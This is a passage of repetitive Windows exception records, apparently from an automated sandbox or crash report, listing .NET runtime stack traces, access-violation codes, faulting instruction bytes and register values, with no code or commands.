registers.ebx: 128684520
registers.esi: 6
registers.ecx: 6
1 0 0

__exception__

 stacktrace: 
0x63452dc
0x6343aaa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 88 b1 ba 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x63459a9
registers.esp: 120712776
registers.edi: 120712840
registers.eax: 0
registers.ebp: 120712848
registers.edx: 39297208
registers.ebx: 39338560
registers.esi: 39285460
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x63452dc
0x6343aaa
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 15 b1 ba 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6345a1c
registers.esp: 120708380
registers.edi: 120712840
registers.eax: 0
registers.ebp: 120712848
registers.edx: 39297208
registers.ebx: 39338560
registers.esi: 39285460
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x66f781
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 88 b1 ba 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x63459a9
registers.esp: 115274688
registers.edi: 115274752
registers.eax: 0
registers.ebp: 115274760
registers.edx: 39297208
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x66f781
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 15 b1 ba 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6345a1c
registers.esp: 115270292
registers.edi: 115274752
registers.eax: 0
registers.ebp: 115274760
registers.edx: 39297208
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x66f7d3
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 f8 6b ba 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6349f39
registers.esp: 115274688
registers.edi: 115274752
registers.eax: 0
registers.ebp: 115274760
registers.edx: 41016928
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x66f7d3
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 85 6b ba 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6349fac
registers.esp: 115270292
registers.edi: 115274752
registers.eax: 0
registers.ebp: 115274760
registers.edx: 41016928
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x66f822
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 c0 6a ba 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634a071
registers.esp: 115274688
registers.edi: 115274752
registers.eax: 0
registers.ebp: 115274760
registers.edx: 41443748
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x66f822
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 4d 6a ba 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634a0e4
registers.esp: 115270292
registers.edi: 115274752
registers.eax: 0
registers.ebp: 115274760
registers.edx: 41443748
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x634a195
0x66f874
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 c0 6a ba 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634a071
registers.esp: 115274572
registers.edi: 115274636
registers.eax: 0
registers.ebp: 115274644
registers.edx: 41443748
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x634a195
0x66f874
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 4d 6a ba 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634a0e4
registers.esp: 115270172
registers.edi: 115274636
registers.eax: 0
registers.ebp: 115274644
registers.edx: 41443748
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x634a1a3
0x66f874
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 88 b1 ba 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x63459a9
registers.esp: 115274572
registers.edi: 115274636
registers.eax: 0
registers.ebp: 115274644
registers.edx: 39297208
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x634a1a3
0x66f874
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 15 b1 ba 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6345a1c
registers.esp: 115270172
registers.edi: 115274636
registers.eax: 0
registers.ebp: 115274644
registers.edx: 39297208
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x634a3d5
0x66f8c3
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 88 b1 ba 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x63459a9
registers.esp: 115274592
registers.edi: 115274656
registers.eax: 0
registers.ebp: 115274664
registers.edx: 39297208
registers.ebx: 38229904
registers.esi: 39159976
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x634a3d5
0x66f8c3
mscorlib+0x30c9ff @ 0x6ef8c9ff
mscorlib+0x302367 @ 0x6ef82367
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x302261 @ 0x6ef82261
mscorlib+0x30ca7c @ 0x6ef8ca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72422652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x724c07d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x724c0694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
